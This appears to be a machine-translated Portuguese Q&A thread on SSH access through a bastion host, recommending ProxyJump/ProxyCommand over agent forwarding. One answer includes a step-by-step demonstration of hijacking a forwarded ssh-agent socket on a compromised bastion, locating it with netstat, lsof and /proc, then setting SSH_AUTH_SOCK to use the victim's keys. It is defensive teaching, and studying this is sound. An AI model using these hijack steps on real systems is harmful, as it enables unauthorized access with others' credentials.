Temos o servidor bastião B. Precisamos fazer o SSH de A a B a C, usando chave privada.

Qual é a melhor opção:

• Coloque a chave SSH privada no servidor B. Lemos que é uma má idéia fazer isso em um ambiente de produção.

  A partir daqui :

  Nunca coloque suas chaves privadas SSH na instância do bastião. Em vez disso, use o encaminhamento do agente SSH para conectar-se primeiro ao bastião e depois a outras instâncias em sub-redes privadas. Isso permite que você mantenha sua chave privada SSH apenas no seu computador.

• Use o encaminhamento de agente SSH . Para configurar o encaminhamento de agente, preciso permitir o encaminhamento de TCP. Ao configurar o encaminhamento do agente, um arquivo de soquete é criado no host de encaminhamento, que é o mecanismo pelo qual a chave pode ser encaminhada para o destino. Nas configurações do Bastião na AWS:

  Encaminhamento de TCP: definir esse valor como true habilitará o encaminhamento de TCP (encapsulamento SSH). Isso pode ser muito útil, mas também é um risco à segurança; portanto, recomendamos que você mantenha a configuração padrão (desabilitada), a menos que seja necessário

  Também daqui :

  Encaminhamento de agente SSH considerado prejudicial

O que é melhor? E a alternativa do segundo link: ProxyCommand , entendo que ajuda com o problema do arquivo de soquete, mas ainda acho que tenho que ativar o encaminhamento de TCP, por isso é seguro o suficiente?

Use ProxyCommand ou ProxyJump

Eu recomendaria usar ProxyCommand(ou melhor ainda, ProxyJumppois a sintaxe é mais fácil, mas requer o openssh 7.3+, acho que no lado do cliente), e você não precisa implantar uma chave privada no Bastião, tudo permanece local.

Exemplo com ProxyJump

No computador cliente, você escreve um arquivo ~/.ssh/configcom um conteúdo semelhante ao seguinte:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Então, o ssh srvCfará conectá-lo a C via B (bastião) sem o Agent Forwarding nem implantar a chave privada no bastião.

No exemplo acima, "bastion" é um alias para seu host Bastion e srvC é um alias para seu servidor C. No caso de HostNamevocê precisar colocar IPs ou nome de domínio totalmente qualificado real para seus hosts. Para os usuários, é necessário atualizar o Usernome de login correto no Bastion e no servidor C. Finalmente, isso IdentityFileé opcional se você usar um agente local (por exemplo, KeeAgent ou ssh-agent), mas se não estiver em execução, também será trabalhe e peça cada senha chave.

Implantando as chaves públicas

Obviamente, você precisa implantar as chaves públicas no bastião e no srvC. Você pode usar (o sinal $ é apenas para ilustrar o prompt, não digite):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Nota: o acima funcionará apenas se a autenticação por senha ainda for permitida. Após a implantação acima e verificando se tudo funciona como pretendido, você deve proibir a autenticação de senha nos 2 servidores.

Exemplo com ProxyCommand em vez de ProxyJump

Se você possui uma versão mais antiga do OpenSSH que não suporta ProxyJump(no lado do cliente), substitua:

ProxyJump bastion

por

ProxyCommand ssh -q -W %h:%p bastion

Tanto quanto eu entendi, isso é semelhante.

Eu vi a resposta sobre o ProxyJump. Vamos falar sobre o ProxyCommand .

Mas espere, espere! Posso escrever para você como invadir o servidor que usa o encaminhamento de agentes, seria muito mais fácil entender a diferença!

Vamos cortar!

Para as etapas básicas: você pode ler meu post aqui

As etapas básicas são as seguintes:

1. Criar usuários bastiões
2. Desativar login raiz
3. Bloquear tentativas de hackers
4. Mudar porta
5. Configurar firewall
6. Configurar o SELinux

Como usar o AgentForwarding

-Criar configuração em ~ / .ssh / config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Adicione sua chave de autenticação ao ssh-agent

ssh-add ~/.ssh/name_rsa

-Conectar ao hos bastião

ssh bast

-Conecte o servidor de aplicativos do bastião

 ssh app@IP -p PORT

Hacking!

Você pode, bem, me fazer a pergunta:

• Meu servidor está seguro? E a resposta é bastante simples:

  • NÃO!

• Por quê?

  • Porque você está usando o encaminhamento do agente SSH!

• E onde está o problema?

  • Porque o encaminhamento de agentes é perigoso e é considerado prejudicial.

• Por quê?

  • Vamos explicar tudo de dentro para fora: Quando você conecta o host bastião, seu glorioso ssh-agent é encaminhado. Isso significa que o soquete será configurado para que alguém possa usar esses dados do soquete para acessar seus servidores. Imagine que seu servidor bastião está comprometido. Se alguém tiver permissões suficientes no seu servidor Linux, ele apenas usará as informações do seu soquete. Como resultado, todo o seu servidor pode ser acessado. Eu sei que a janela de compromisso é muito pequena porque depende de quanto tempo você está conectado ao host do bastião. Mas você realmente quer correr o risco quando tiver outras opções como o ProxyCommand? Portanto, basta usar ProxyCommand!

Como hackear servidores se você comprometeu o host bastião?

Rastrear alvo

No diretório / tmp, você pode ver algo assim:

[root@localhost tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Vamos abrir o arquivo temporário

[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Vamos ver as conexões com esse ID do processo.

netstat -nxp | grep  10507

resultado:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

e quem está conectado?

lsof -i -a -p 10507

resultado:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

Também podemos ver arquivos de soquete:

cd /proc/10507/fd/
ls

resultado:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

E o que acontece quando o cliente será conectado ao servidor remoto? vamos ver:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Podemos até ver se o arquivo de soquete é usado usando o netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Roubar informações do soquete e endereço IP

Agora precisamos roubar as informações do soquete enquanto a sessão do host bastião está aberta . Ah, também precisamos do IP do servidor de destino , então use netstat:

netstat -tn

A etapa final para usar o arquivo de soquete encaminhado

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Verifique se a chave está carregada .

ssh-add -l

O resultado deve ser algo assim :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

Servidor está hackeado, como corrigir o problema de segurança?

Comando de proxy

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Para operações básicas: como transferir arquivos através dos servidores (de cliente para servidor, servidor para cliente), você pode ler no meu post aqui

Conclusão

• Se você usa host bastião, não use AgentForwarding, mas use ProxyCommand
• Sempre use usuário não raiz para autenticação
• Use um firewall e bloqueie todas as conexões desnecessárias.
• Use o SELinux (em geral)
• Bloquear o endereço IP que tenta efetuar login várias vezes com credenciais incorretas
• Se não for necessário, não dê permissão ao sudo ao usuário
• Monitore seu servidor
• Atualize seu servidor para correções de segurança

Mais informações, consulte o meu blog . Além disso, tenho alguns screeenshots, portanto pode ser útil para você.

Basta usar o encaminhamento de agente SSH como a maioria dos outros.

• As chaves estarão no agente ssh no seu laptop.
• Você efetua login no bastião, autenticado pelo agente.
• A partir daí, faça o login no host de destino, com a solicitação de autenticação encaminhada de volta ao seu laptop .

Vantagem: não há chaves armazenadas no bastião que possam ser mal utilizadas.

Espero que ajude :)